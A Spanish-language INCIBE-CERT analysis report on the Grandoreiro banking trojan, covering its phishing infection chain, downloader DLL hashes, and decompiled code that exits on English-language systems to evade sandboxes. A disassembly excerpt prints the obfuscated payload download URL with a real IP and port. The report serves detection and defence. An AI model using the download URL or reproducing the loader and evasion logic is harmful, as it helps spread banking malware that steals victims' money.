

Estudio del análisis de Grandoreiro



Financiado por la Unión Europea NextGenerationEU





ENCIA EL GOBIERNO DE DIGITALIZACIÓN E INTELIGENCIA ARTIFICIA RMACIÓN DIGITAL



Plan de Recuperación, Transformación y Resiliencia











Junio 2022 INCIBE-CERT_ESTUDIO_ANALISIS_GRANDOREIRO_2022_v1

La presente publicación pertenece a INCIBE (Instituto Nacional de Ciberseguridad) y está bajo una licencia Reconocimiento-No comercial 3.0 España de Creative Commons. Por esta razón, está permitido copiar, distribuir y comunicar públicamente esta obra bajo las siguientes condiciones:

• Reconocimiento. El contenido de este informe se puede reproducir total o parcialmente por terceros, citando su procedencia y haciendo referencia expresa tanto a INCIBE o INCIBE-CERT como a su sitio web: <u>https://www.incibe.es/</u>. Dicho reconocimiento no podrá en ningún caso sugerir que INCIBE presta apoyo a dicho tercero o apoya el uso que hace de su obra.

• Uso No Comercial. El material original y los trabajos derivados pueden ser distribuidos, copiados y exhibidos mientras su uso no tenga fines comerciales.

Al reutilizar o distribuir la obra, tiene que dejar bien claro los términos de la licencia de esta obra. Alguna de estas condiciones puede no aplicarse si se obtiene el permiso de INCIBE-CERT como titular de los derechos de autor. Texto completo de la licencia: https://creativecommons.org/licenses/by-nc-sa/3.0/es/.





Índice

INDICE DE FIGURAS	3
ÍNDICE DE TABLAS	4
1. Sobre este estudio	5
2. Organización del documento	6
3. Introducción	7
4. Informe técnico	8
4.1. Vías de infección	8
4.3. Métodos de protección del troyano	26
5. Detección y desinfección	28
5.1. Métodos de detección y desinfección	28
5.2. Recomendaciones	28
6. Referencias	30
Anexo 1: Indicadores de compromiso (IOC)	32
Anexo 2: Reglas Yara de detección	34

ÍNDICE DE FIGURAS

Figura 1: Proceso de infección del troyano bancario Grandoreiro	8
Figura 2: dll downloader compilada con Borland Delphi 7	9
Figura 3: dll troyano compilada con Borland Delphi 7	9
Figura 4: Muestra origen del análisis	9
Figura 5: URL de descarga de troyano final	. 10
Figura 6: Comprobación del lenguaje del usuario	. 10
Figura 7: Servidor que aloja la carga útil	. 11
Figura 8: Simulación del proceso de infección	. 11
Figura 9: Directorio con varios ficheros	. 12
Figura 10: Ventana de solodriver.exe sin la ejecución de la dll	. 12
Figura 11: Aplicaciones en el directorio de ejecución del troyano	. 13
Figura 12: Imágenes ISO en su interior que hacen que el fichero sea más grande de lo habitual.	. 13
Figura 13: Comparando el lenguaje principal con el portugués	. 14
Figura 14: Comparando el lenguaje principal con el español	. 14
Figura 15: Ejemplos de uso del componente RTC Portal	. 15
Figura 16: Busca la ventana de solodriver.exe para ocultarla	. 15
Figura 17: Buscando la ventana para ocultarla	. 16
Figura 18: Ventanas buscadas asociadas a los bancos españoles	. 16
Figura 19: Ventanas buscadas asociadas a los bancos portugueses	. 16
Figura 20: Descifrado de cadena para ser utilizada	. 17
Figura 21: Algoritmo de descifrado de las cadenas	. 17
Figura 22: Cadena a descifrar y clave que utiliza	. 17
Figura 23: Ejemplo de algunas de las palabras relacionas con los bancos a suplantar	. 18
Figura 24: Limpia la cache DNS antes de generar los dominios dinámicos	. 18
Figura 25: Zona de generación de DGA	. 19
Figura 26: El proceso de generación de dominios dinámicos	. 19
Figura 27: Comienzo de obtención de datos del equipo afectado	. 19
Figura 28: Proceso de obtención del nombre del PC	20





Figura 29:	Datos recopilados para ser enviados	20
Figura 30:	Uso del componente RTC HTTP para comunicación con el Command and Control	20
Figura 31:	Actualización de la DLL	21
Figura 32:	Comando para desconectar a la víctima	21
Figura 33:	Proceso de reinicio de la máquina	21
Figura 34:	Zona de envío de comando de reinicio del troyano	22
Figura 35:	Consulta información del cursor	22
Figura 36:	Comando para controlar el cursor	22
Figura 37:	Crear fichero UPAK.BIN	22
Figura 38:	Crear el log para registrar la actividad	23
Figura 39:	Elimina el fichero de log	23
Figura 40:	Busca en los procesos en memoria	23
Figura 41:	Proceso de preparación de datos para enviar	24
Figura 42:	Desactiva desplazamiento	24
Figura 43:	Auto eliminación	25
Figura 44:	Ejemplos de ficheros cifrados en red	25
Figura 45:	Nombre de la clave de registro	25
Figura 46:	Zona de escritura de clave de registro para persistencia	26
Figura 47:	Software que busca en el equipo afectado	26
Figura 48:	Comprobación de depuración con IsDebuggerPresent	26

ÍNDICE DE TABLAS

Tabla 1:	Script .bat destinado a borrar el troyano y sus componentes	28
Tabla 2.	Entidades financieras afectadas por Grandoreiro	33





1. Sobre este estudio

Este estudio contiene los resultados del análisis conducido sobre el troyano bancario Grandoreiro, también conocido como Delephant. Como troyano, este *malware* está diseñado para tener múltiples utilidades, la más común es crear una *backdoor* en el equipo infectado, para poder descargar actualizaciones y nuevas funcionalidades.

El objetivo del estudio reside en reunir la información necesaria para poder identificar las características propias de esta amenaza así como su comportamiento y técnicas empleadas, permitiendo la trazabilidad con futuras versiones del mismo *malware*, o la posible nueva afectación a otras entidades del sector financiero, o incluso de otros sectores.

Adicionalmente, se tiene constancia de la extensión de operaciones con este *malware* a Europa, incluyendo España y Portugal, estando activo desde 2015 en América Latina.

Las acciones realizadas para su elaboración comprenden un análisis dentro de un entorno controlado. La información general obtenida es que Grandoreiro consiste en un troyano desarrollado en Delphi, un lenguaje de programación muy popular entre el *malware* brasileño. Se distribuye por medio de campañas de correo electrónico (*phishing*), que contienen adjuntos malicioso o enlaces que redirigen a páginas web fraudulentas que alertan al usuario para instalar falsas actualizaciones de aplicaciones Java o Flash.

Una vez descrito su *modus operandi* a bajo nivel, se aportan una serie de contramedidas para detectar este troyano y, llegado el caso, desinfectar el equipo afectado.





2. Organización del documento

Este documento consta de una parte de <u>3.- Introducción</u> en la que se expone el tipo de amenaza que representa el troyano Grandoreiro, mencionando su origen, posterior expansión y adaptación.

A continuación, en el apartado <u>4.- Informe técnico</u> se recoge información detallada sobre las vías de infección empleadas por este troyano, el lenguaje en el que está programado, sus funcionalidades y modo de actuación, detallando paso a paso el proceso de infección, así como los métodos de protección utilizados por el propio Grandoreiro para evadir los controles de seguridad.

Posteriormente, en el apartado <u>5.- Detección y desinfección</u> se aportan recomendaciones y acciones para detectar la amenaza Grandoreiro, así como el proceso de desinfección.

Finalmente, el apartado <u>6.- Referencias</u> aporta las referencias consultadas a lo largo del análisis.

Adicionalmente, el documento cuenta con dos anexos: en el <u>Anexo 1: Indicadores de</u> <u>compromiso (IOC)</u> se recogen los indicadores de compromiso (IOC) asociados a Grandoreiro, y el <u>Anexo 2: Reglas Yara de detección</u> consta de las reglas de Yara para la detección de muestras maliciosas de este troyano.





3. Introducción

Grandoreiro es uno de los varios troyanos bancarios procedentes de Sudamérica que han extendido sus operaciones a otras regiones, sobre todo a Europa. Según investigadores de ESET, ha estado activo desde el año 2015 afectando a países de América Latina, principalmente a Brasil, país en el que se desarrolló.

Los investigadores destacan la velocidad con la que sus autores actualizan el código del mismo, e incluso sospechan de la existencia simultánea de dos variantes, expandiéndose internacionalmente en 2019 a bancos de España, México y Portugal, así como adaptando la temática de sus campañas de distribución aprovechando las campañas de desinformación y bulos en torno al COVID-19 durante el auge de la pandemia, especialmente en el año 2020.





TLP:WHI

4. Informe técnico

4.1. Vías de infección

El proceso más habitual de infección con el troyano consta de varias etapas; comienza con un correo recibido por el usuario, que contiene una URL de acceso a una página fraudulenta. Accediendo al enlace proveniente del correo fraudulento recibido, el usuario descargará el primer elemento del proceso. Se trata de un fichero instalador que, a su vez, descargará la carga útil que contiene el troyano bancario. Sin bien es cierto, en alguna ocasión pueden llegar como adjuntos al correo electrónico.



Figura 1: Proceso de infección del troyano bancario Grandoreiro

4.2. Lenguaje de programación, funcionalidades y modo de actuación

Grandoreiro en un troyano bancario cuyo nombre fue dado debido al <u>gran volumen de los</u> <u>binarios generados por los atacantes</u>, siendo superiores a 250 MB. Este hecho dificultaba el análisis en las diferentes plataformas o *sandboxes* online, ya que superaba con creces el límite permitido.

En el compromiso del usuario intervienen varios binarios. Se parte del binario inicial que es descargado por la víctima. Se trata de un fichero comprimido que alberga un instalador. Dentro del mismo (extensión msi) se encuentra la *dll* (*sha256sum: 58084c86acd68c83d84802ef8daa9cdfefdcf34d7fa1b9a0e04c4ca124e58382*) maliciosa





TLP:WHI

que actúa de *downloader* (*malware* que descarga desde Internet la amenaza en el equipo de la víctima). Este binario está programado en Delphi y compilado con Borland Delphi 7.



Figura 2: dll downloader compilada con Borland Delphi 7

La segunda *dll* (*sha256sum:*

35c0744bec0e123d24a9ffd3d7a9edeb07d9341ab45619b5fc881ce7dd81276a) y de la que se hablará más adelante en el estudio, sería la perteneciente a la familia del troyano bancario *Grandoreiro*.

Como la anterior, programada en Delphi y compilado con Borland Delphi 7.





C 🔒 virustotal.com/gui/file/ed60e39e21a8477bc2cc209bcd2f9409a685ffff16c6bb63041d426b17fb40f1							
ed60e39e21a8477bc2cc209bcd2f	ed60e39e21a8477bc2cc209bcd2f9409a685ffff16c6bb6304td426b17fb40f1						
	18 0 1	security vendors and no sandboxes flagged this file as malicious			C	3X	
	<pre>/ 60 ed60e ? Archive x Community √ </pre>	39e21a8477bc2cc209bcd2f9409a685ffff16c6bbs3041d426b17fb40f1 Index Fac131011ar	637.10 KB Size	2022-01-31 06:57:32 UTC 2 days ago			
	DETECTION DETAILS	RELATIONS BEHAVIOR COMMUNITY					
	AhnLab-V3	() Trojan/Win.Generic.C4634343	Arcabit	() Trojan.Fragtor.DD765			
	Avast	() Win32:DropperX-gen [Drp]	AVG	() Win32:DropperX-gen [Drp]			
	BitDefender	() Gen:Variant.Fragtor.55141	ClamAV	() Win.Downloader.Zusy-9917016-0			
	Cyren	() W32/Banload.FP.gen!Eldorado	Emsisoft	() Gen:Variant.Fragtor.55141 (B)			
	eScan	() Gen:Variant.Fragtor.55141	ESET-NOD32	() A Variant Of Win32/TrojanDownloader.Ba			
	Fortinet	() W32/Banload.YSTltr.dldr	GData	() Gen:Variant.Fragtor.55141			
	Kaspersky	() HEUR:Trojan-Downloader:Win32.Banload	Malwarebytes	() Malware.Al.3797257663			
	MAX	() Malware (ai Score=88)	Trellix (FireEye)	() Gen:Variant.Fragtor.55141			
	VBA32	() BScope.TrojanDownloader.Banload	ZoneAlarm by Check Point	() HEUR:Trojan-Downloader.Win32.Banload			
	Ad-Aware	O Undetected	ALYac	O Undetected			

Figura 4: Muestra origen del análisis

En este caso, se trata de un fichero comprimido. Dentro del mismo se encuentra un instalador (msi), que será el encargado de descargar la parte útil (*payload*) que contiene el troyano bancario.

En la *dll* embebida, se observa dónde se ubica la URL y dónde se encuentra la carga útil, que se encuentra cifrada para no ser detectada desde un principio por herramientas de análisis.



ncibe



[0x0 [Exp	0x00551988]> iE Exports]							
nth	paddr	vaddr	bind	type siz	e lib	name		
L	0x001500	188 0x00551988	GLOBAL	FUNC 0	Gabinow	dll TILLITTFFDCC	CCC5	
0x0 0x0 19	00551988 00551988 0: sym.Ga]> s 0x00551988]> pd 12 abinow.dll_TILI	3 🗲	دددده ()	;			
		0x00551988 0x0055198b	83c9 baa4:	ff 195500	or ecx. mov edx	0xfffffff 0x5519a4	; -1	
				96f3 ff	call for	1.0048b030		
			C3 00ff		add bh,	bh		
			ff		invalid	.1		
			0000		add byte	e [eax], al		
	>	0x005519a3 0x005519a6	0068 7423	23	je 0x55	e [eax + 0x23], c 19cb	'n	
0x0 h#t#	00551988 #t#p://14	> ps @ 0x5519∂ 49.56.251.1:51≉	a4 #5#51/e:	sgrime.zi	#р			
0x0 Int3	00551988 32 35]> ? 0x23						
Jint	32 35	_						

Figura 5: URL de descarga de troyano final

Pero antes, se comprueba el lenguaje del usuario, no aceptando usuarios con lenguaje en inglés, de ser así finaliza el proceso. De esta manera, se aseguran de que el destinatario esté entre sus objetivos, y evitarían que se ejecutara de forma usual en cualquier plataforma de tipo *sandbox* cuyo lenguaje sea el inglés.

<pre>66writefsdword(0, (unsigned int)/24); 67 UV * (const char *)((int (_fastcall *)(int))System::_linkproc_ LStrToPChar)(v37); 68 UV * (const char *)((int *_int32))System::_linkproc_ LStrToPChar)(v37); 69 UV * ((int (_fastcall *)(int *_int32))System::_linkproc_ LStrToPChar)(v37); 60 UV * ((int (_fastcall *)(int *_int32))System::_linkproc_ LStrToPChar)(v37); 61 UV * ((int (_fastcall *)(int *_int32))System::_linkproc_ LStrToPChar)(v37); 62 UV * ((int (_fastcall *)(int *_int32))System::_linkproc_ LStrToPChar)(v37); 63 UV * ((int (_fastcall *)(int *_int32))System::_linkproc_ LStrToPChar)(v37); 64 UV * ((int (_fastcall *)(int *_int32))System::_linkproc_ LStrToPChar)(v37); 65 UV * ((vaid (_fastcall *)(int *_int, int, _strToPC *_int))System::_linkproc_ LStrToPChar); 66 UV * ((vaid (_fastcall *)(int *_int, int, _strToPC *_int))System::_linkproc_ LStrCoPC *_04800E mov * eX, eX; 77 U(vaid (_fastcall *)(int *_int, int, _strToPC *_int))System::_linkproc_ LStrCoPC *_04800E mov * eX, eX; 78 U(vaid (_fastcall *)(int *_int, int, _strToPC *_int))System::_linkproc_ LStrCoPC *_04800E mov * eX, eX; 79 U(vaid (_fastcall *)(int *_int, int, _strToPC *_int))System::_linkproc_ LStrCoPC *_04800E mov * eX, eX; 70 U(vaid (_fastcall *)(int *_int, int, _strToPC *_int))System::_linkproc_ LStrCoPC *_04800E mov * eX, eX; 70 UV * UV *_X; 70 U(vaid (_fastcall *)(int *_int, int, _strToPC *_int))System::_linkproc_ LStrCoPC *_04800E mov * eX, eX; 70 UV *_VAIDEPC *_04800E *_04800E</pre>		/ verteg = meen renered() /merabickeeperonerse;	CODE.0040ADD0	
<pre>61 sub_484089(int1&:33) 22 v7 = (cons: than*](int_(int_fastcall*)(int))System::_linkproc_LStrTePChar)(v37); 33 if (Sysutlis::StrFee V7, FegLish*)) 44 System:_linkproc Malte(); 54 System:_linkproc Malte(); 55 sub_484F68(); 56 v8 = (lint (_fstcall*)(int*_int32))System::_linkproc_LStrAsg)(&dword_561430, v43); 57 ((void (_fstcall*)(int*_ints*))System::_linkproc_LStrAsg)(&dword_561430, v43); 58 (void (_fstcall*)(int*_ints*))System::_linkproc_LStrAsg)(&dword_561430, v43); 59 v9 = sub_484F68(v42, (char)v38); 50 ((void (_fstcall*)(int*_ints*))System::_linkproc_LStrAsg)(&dword_561430, v43); 50 ((void (_fstcall*)(int*_ints*))System::_linkproc_LStrAsg)(&dword_561430, v43); 50 ((void (_fstcall*)(int*_ints*))System::_linkproc_LStrCstN)(&v40, 3, v10, &str_[1]); 50 ((void (_fstcall*)(int*_int, int, _string*_int))System::_linkproc_LStrCstN)(&v40, 3, v10, &str_[1]); 51 ((void (_fstcall*)(int*_int, int, _string*_int))System::_linkproc_LStrCstN)(&v40, 3, v10, &str_[1]); 52 (vdi (_fstcall*)(int*_int, int, _string*_int))System::_linkproc_LStrCstN)(&v40, 3, v10, &str_[1]); 53 ((void (_fstcall*)(int*_int, int, _string*_int))System::_linkproc_LStrCstN)(&v40, 3, v10, &str_[1]); 54 (void (_fstcall*)(int*_int, int, _string*_int))System::_linkproc_LStrCstN)(&v40, 3, v10, &str_[1]); 54 (void (_fstcall*)(int*_int, int, _string*_int))System::_linkproc_LStrCstN)(&v40, SirPas (_strease) = vand (_string*_int))System::_linkproc_LStrCstN)(&v40, SirPas (_strease) = vand (_strea</pre>	6	<pre>writefsdword(0, (unsigned int)v24);</pre>	conc.co.to.	ADB0 proc near
<pre>62 v7 - (const-har ')((ht (_fastcall *)(inh))System:_linkproc_LStrDeChar)(v37); 63 if (System:_linkproc_Halte(); 64 System:_linkproc_Halte(); 65 sub_dAR56(); 66 v8 = ((int (_fastcall *)(int *_int,int))System:_linkproc_LStrDeChar)(v37); 66 ((void (_fastcall *)(int *_int,int))System:_linkproc_LStrDeChar)(v37); 67 ((void (_fastcall *)(int *_int,int))System:_linkproc_LStrDeChar)(v37); 68 ((void (_fastcall *)(int *_int,int))System:_linkproc_LStrDeChar)(v37); 69 v9 = sub_dABCF()(int *_int,int))System:_linkproc_LStrDeChar)(v37); 70 ((void (_fastcall *)(int *_int,int, _strDec *_int))System:_linkproc_LStrDeChar)(v37); 71 sub_dABDCF('(int *))Sub_dABFE(8)(v); 72 sub_dABDCF('(int *))Sub_dABFE(8)(v); 73 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, 3, v10, &str_[1]); 74 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, 3, v10, &str_[1]); 75 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, 3, v10, &str_[1]); 76 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, &str_[1]); 77 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, &str_[1]); 78 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, &str_[1]); 79 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, &str_[1]); 70 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, &str_[1]); 79 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, &str_[1]); 70 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, &str_[1]); 70 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, &str_[1]); 70 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkproc_LStrCeN()(&v40, &str_[1]); 71 ((void (_fastcall *)(int *, int, int, _strDec *, int))System::_linkpr</pre>	• 6	1 sub 48ADB0((int)&v37);	CODE:0048ADB0 push	ebx
<pre>61 if (Syutil::StrDe V7, English*)) 63 System::linkproc. Hell9(); 64 System::Linkproc. Hell9(); 65 sub_484F68(); 66 sub_484F68(); 77 ((void (_fastcall *)(int *_intis*))) 78 ((void (_fastcall *)(int *_intis*))) 79 sub_484F68(); 70 ((void (_fastcall *)(int *_intis*))) 71 sub_484D6((vil,(int *))); 72 sub_484D6((vil,(int *))); 73 ((void (_fastcall *)(int *_intis*))) 73 ((void (_fastcall *)(int *_intis*))) 74 ((void (_fastcall *)(int *_intis*))) 75 vil, 76 ((void (_fastcall *)(int *_intis*))) 75 vil, 76 ((void (_fastcall *)(int *_intis*, int))) 76 ((void (_fastcall *)(int *_int, int, int; int))) 77 ((void (_fastcall *)(int *_int, int, int; int))) 78 ((void (_fastcall *)(int *_int, int, int))) 79 (void (_fastcall *)(int *_int, int, int))) 70 ((void (_fastcall *)(int *_int, int, int))) 71 (int *)(int *_int, int, int)) 72 (void (_fastcall *)(int *_int, int, int))) 73 ((void (_fastcall *)(int *_int, int, int))) 74 ((void (_fastcall *)(int *_int, int, int))) 75 vil, 75 vil, 76 ((void (_fastcall *)(int *_int, int, int, int))) 75 vil, 76 ((void (_fastcall *)(int *_int, int, int, int))) 76 ((void (_fastcall *)(int *_int, int, int))) 77 ((void (_fastcall *)(int *_int, int, int))) 78 ((void (_fastcall *)(int *_int, int, int))) 79 (void (_fastcall *)(int *_int, int, int))) 70 ((void (_fastcall *)(int *_int, int, int))) 71 ((void (_fastcall *)(int *_int, int, int))) 72 (vil)(void *int)) 73 ((void (_fastcall *)(int *_int))) 74 (void (_fastcall *)(int *_int))) 75 (void (_fastcall *)(int)) 76 (void (_fastcall *)(int))) 77 (void (_fastcall *)(int)) 78 (void (_fastcall *)(int))) 78 (void (_fastcall *)(int))) 79 (void (_fas</pre>	• 6	<pre>2 v7 = (const char *)((Int (fastcall *)(int))System:: linkproc LStrToPChar)(v37);</pre>	CODE:0048ADB1 push	esi
64 System::_linkproc_Halt0(); CODE:0042ADB4 mov eax, ds:nSize 65 sub_44AF6(); CODE:0042ADB4 mov eax, ds:nSize 66 sub_44AF6(); CODE:0042ADB4 mov eax, ds:nSize 67 ((vid (_fastcall *)(int *_ inti32))system::_linkproc_LStrAsg)(&dword_561430, v43); CODE:0042ADB4 mov eax, ds:nSize 68 (vid (_fastcall *)(int *_, string: *))System::_linkproc_LStrAsg)(&dword_561430, v43); CODE:0042ADB4 mov eax, ax 69 vs = (uint (_fastcall *)(int *_, string: *))System::_linkproc_LStrAsg)(&dword_561430, v43); CODE:0042ADE mov eax, ax 60 (vid (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_LStrCatH)(&v40, 3, v10, &str_[1] CODE:0042ADE mov eax, ax 70 ((vid (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_LStrCatH)(&v40, 3, v10, &str_[1] CODE:0042ADE mov eax, ax 71 ((vid (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_LStrCatH)(&v40, 3, v10, &str_[1] CODE:0042ADE mov edx, gs:size 72 (vid (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_LStrCatH)(&v40, 3, v10, &str_[1] CODE:0042ADE mov edx, gs:size 73 (vid (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_LStrCatH)(&v40, 3, v10, &str_[1] CODE:0042ADE mov edx,	6	3 if (Sysutils::StrPos v7, "English"))	CODE:0048ADB2 mov	esi, eax
<pre>65 sub_4A4F68(); 66 v3 = (lint (_fstcll)*)(lint *_ inti32))system::_linkprocLStrAsg)(&dword_561430, v43); 67 ((void (_fstcll)*)(lint *_ inti32))system::_linkprocLStrAsg)(&dword_561430, v43); 68 ((void (_fstcll)*)(lint *_, intisc)*)System::_linkprocLStrAsg)(&dword_561430, v43); 69 (void (_fstcll)*)(lint *_, intisc)*)System::_linkprocLStrAsg)(&dword_561430, v43); 69 (void (_fstcll)*)(lint *_, intisc)*)System::_linkprocLStrAsg)(&dword_561430, v43); 60 (void (_fstcll)*)(lint*, int, int, intisc)*, int))System::_linkprocLStrCatN)(&v40, 3, v10, &str_1] 71 sub_4AB06((int)*05); 72 sub_4AB06((int)*05); 73 ((void (_fstcll)*)(lint *_, int, int, int; int; int; int))System::_linkprocLStrCatN)(&v40, 3, v10, &str_1] 74 ((void (_fstcll)*)(lint *_, int, int, int; int; int; int))System::_linkprocLStrCatN)(&v40, 3, v10, &str_1] 75 (void (_fstcll)*)(lint *_, int, int, int; int; int))System::_linkprocLStrCatN)(&v40, 3, v10, &str_1] 76 ((void (_fstcll)*)(lint *_, int, int, int; int; int))System::_linkprocLStrCatN)(&v40, 3, v10, &str_1] 77 ((void (_fstcll)*)(lint *_, int, int, int; int))System::_linkprocLStrCatN)(&v40, 3, v10, &str_1] 78 ((void (_fstcll)*)(lint *_, int, int, int; int))System::_linkprocLStrCatN)(&v40, 3, v10, &str_1] 79 v11, 70 ((void (_fstcll)*)(lint *_, int, int, int; int))System::_linkproc_LStrCatN)(&v40, StrPas ; BS 2005-2007 and Del 79 v11, 70 ((void (_fstcll)*)(lint *_, Int, int, int; int))System::_linkproc_LStrCatN)(&v40, StrPas ; BS 2005-2007 and Del 70 ((void (_fstcll)*)(lint *_, Int, int, int; int))System::_linkproc_LStrCatN)(&v40, StrPas ; BS 2005-2007 and Del 70 ((void (_fstcll)*)(lint *_, Int), StrPas ; BS 2005-2007 and Del 70 ((void (Insigned Int)SysutNis::DirectorvExists(System AnsiString))) 70 ((void (Insigned Int)SysutNis::DirectorvExists(System AnsiString)))</pre>	• 6	4 System:: linkproc Halt0();	CODE:0048ADB4 mov	eax, ds:nSize
<pre>666 vs = ((int (_fastcall *)(int *_ int2))system::_linkproctStrAgg)(&dword_561438, v43); 67 ((void (_fastcall *)(int *_, int))System::_linkproctStrAgg)(&dword_561438, v43); 68 ((void (_fastcall *)(int *, int))System::_linkproctStrAgg)(&dword_561438, v43); 69 vs = sub_d4ABCB(value) 70 ((void (_fastcall *)(int *, int))System::_linkproctStrAgg)(&dword_561438, v43); 71 sub_d4ABDEC('(int *))Sub_d8AF68()v); 72 sub_d4ABDEC('(int *))Sub_d8AF68()v); 73 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproctStrCath)(&v40, 3, v10, &str_[1] 74 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproctStrCath)(&v40, 3, v10, &str_[1] 75 v23 * v23; 76 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproctStrCath)(&v40, 3, v10, &str_[1] 76 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproctStrCath)(&v40, 3, v10, &str_[1] 77 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproctStrCath)(&v40, 3, v10, &str_[1] 78 v23 * v23; 79 (void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproctStrCath)(&v40, 3, v10, &str_[1] 70 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_tStrCath)(&v40, 3, v10, &str_[1] 76 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_tStrCath)(&v40, 3, v10, &str_[1] 77 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_tStrCath)(&v40, &str_[1] 78 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_tStrCath)(&v40, &str_[1] 77 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_tStrCath)(&v40, &str_[1] 78 ((void (_fastcall *)(int *, int, int, _string: *, int))System::_linkproc_tStrCath)(&v40, &str_[1] 79 ((void (_fastcall *)(int *, int, int, _string *, int))System::_linkproc_tStrCath)(&v40, &str_[1] 70 ((void (_fastcall *)(int *, int, int, _string *, int))System::_linkproc_tStrCath)(&v40, &str_[1] 79 ((void (_fastcall *)(int *, int, int, _string *, int)</pre>	• 6	5 sub 48AF68();	CODE:0048ADB9 call	GetMem
<pre>67 ((void (_fastcall *)(in*), sub_dARFe8)(vo); 68 ((void (_fastcall *)(in*, sint))) 69 (void (_fastcall *)(in*, sint))) 69 (void (_fastcall *)(in*), sub_dARFe8)(vo); 71 sub_dABDE((vid, (char)v36); 72 sub_dABDE((vid, (char)v36); 73 sub_dABDE((vid, (in*)v36); 74 (void (_fastcall *)(in*, int, int, int; strips *, int))) 75 (void (_fastcall *)(in*, int, int, int; strips *, int))) 76 (void (_fastcall *)(in*, int, int, int; strips *, int))) 77 (void (_fastcall *)(in*, int, int, int; strips *, int))) 78 (void (_fastcall *)(in*, int, int, int; strips *, int))) 79 (void (_fastcall *)(in*, int, int, int; strips *, int))) 79 (void (_fastcall *)(in*, int, int, int; strips *, int))) 79 (void (_fastcall *)(in*, int, int, int; strips *, int))) 79 (void (_fastcall *)(in*, int, int, int; strips *, int))) 70 (void (_fastcall *)(in*, int, int, int; int)) 70 (void (_fastcall *)(in*, int, int, int, int)) 71 (void (_fastcall *)(in*, int, int, int)) 72 (void (_fastcall *)(in*, int, int, int, int)) 73 ((void (_fastcall *)(in*, int, int, int, int))) 74 ((void (_fastcall *)(in*, int, int, int))) 75 (void (_fastcall *)(in*, int, int, int, int))) 75 (void (_fastcall *)(in*, int, int, int, int))) 76 ((void (_fastcall *)(in*, int, int, int, int))) 77 (void (_fastcall *)(in*, int, int, int, int))) 78 (void (_fastcall *)(in*, int, int, int))) 79 (void (_fastcall *)(in*, int, int, int))) 70 (void (_fastcall *)(in*, int, int, int))) 70 (void (_fastcall *)(in*, int, int, int))) 70 (void (_fastcall *)(in*, int, int, int))) 71 (void (fastcall *)(in*, int, int, int))) 72 (void (_fastcall *)(in*, int, int, int))) 73 (void (_fastcall *)(in*, int, int, int))) 74 (void (_fastcall *)(in*, int, int, int))) 75 (void (_fastcall *)(in*, int, int, int))) 75 (void (_fastcall *)(in*, int))) 75 (void (_fastcall *)(in</pre>	• 6	5 v8 = ((int (fastcall *)(int * int32))System:: linkproc \StrAsg)(&dword 561430, v43);	CODE:0048ADBE mov	ebx, eax
<pre>668 ((void [_fastcall *)[int*, _string* *))System::_linkproc_ LStrLag(&v3>, Base_AX3346546774_i[1]); 709 (v) = sub_48ARC8(void *)Sub_48ARC8(void *)Sub_48ARC8(Noid *); 71 sub_48ADC8(*(int*)Sub_48ARC8(Noid *)Sub_48ARC8(Noid *); 72 sub_48ADC8(*(int*)Sub_48ARC8(Noid *)Sub_48ARC8(Noid *)Sub_48ARC8(Noid *)Sub_48ADC8(Noid *)Sub_48ADC</pre>	• 6	7 ((void (fastcall *)(int))sub 48, F68)(v8);	CODE:0048ADC0 call	GetSystemDefaultLangID
<pre>69 vv = sub daARCE(vu2; (char)v30); 69 (vvid (_fastcall*)(int)sub_daAFe8)(v); 71 sub_daBOB((int)v30); 72 sub_daBOB((int)v30); 73 ((vvid (_fastcall*)(int*, int, int, int; int))System::_linkprocLStrCatH)(&v40, 3, v10, &str_[1] 74 ((vvid (_fastcall*)(int*))sub_daAFe8)(v); 75 (vv2) = vv3); 75 (vv2) = vv3); 76 ((vvid (_fastcall*)(int*), int, int, int; int))System::_linkprocLStrCatH)(843006 (unt) & Si es English, sale del programa 76 vil, 77 det (vvid (_fastcall*)(int*, int, int, int))System::_linkprocLStrCatH)(843006 (unt) & Si es English, sale del programa 79 vil, 84 det27[1], 81 devd_StatB); 82 if ((unisined intB)SystHis::DirectorvExists(System AnsiString))</pre>	• 6	<pre>3 ((void (fastcall *)(int *, strings *))System:: linkproc LStrLAsg)(&v39, astc AX3346546774 zi[1]);</pre>	CODE:0048ADC5 movzx	eax, ax
